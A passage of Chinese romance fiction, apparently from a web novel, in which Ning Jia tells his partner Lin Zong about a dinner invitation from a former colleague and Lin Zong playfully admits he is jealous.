可宁嘉一直在表现爱,他不说也可以的,林纵在他们相处的每一天里感受到了宁嘉的感情。 林纵就没有再说什么。 饭吃完,端着碗要去洗,宁嘉跟在林纵身后。 进了厨房,从背后抱着林纵帮他洗了手,宁嘉才把人推开点:“我来洗。” 林纵于是站在宁嘉旁边,看水流穿过他葱白细瘦的手,养了这么久这人也没胖起来。 “啊,”宁嘉突然顿悟了一下,“第三次了,学长你一定要让我把话说完!” 林纵:“你说。” 宁嘉说:“反正就是前同事约我出去玩嘛,但是她肯定会叫上我们那一帮同事的,不然叫我也名不正言不顺啊。” 林纵“嗯”了声,示意自己在听。 宁嘉接着说:“其实她叫我这么几回就是想见见你,虽然上次也见到过一次了。” 宁嘉说的是上次林少来公司闹那次。 “反正就是这么回事嘛,她约我我也一直没去,她可能觉得我舍不得让你见人。” 看,宁嘉总是能说出这样的话。 “我就去和他们一起吃个饭,断了他们想见我老公的心思行不行?” 林纵确实不想去,也没有理由说自己不去,只能说:“好。” 真到了宁嘉要出门那天,林纵揣着胳膊在门口看他穿鞋,宁嘉起身,挥一挥衣袖:“我走了哦。” 林纵语气淡淡:“问你个问题。” 宁嘉没反应过来,问啥问题啊:“啊?什么?” 林纵像在和宁嘉谈论工作:“你那个前同事,和你朝夕相处那么久,真的不喜欢你吗?” 宁嘉惊慌:“我有老公的!” 林纵冷静:“你很招人喜欢。” 哦哟,哦哟哦哟,宁嘉终于明白过来了,往前蹦了一步,挂在林纵身上,笑嘻嘻地问:“学长,你吃醋哦。” 林纵借势毫不客气地在宁嘉脖子上咬了一口:“嗯,我吃醋。”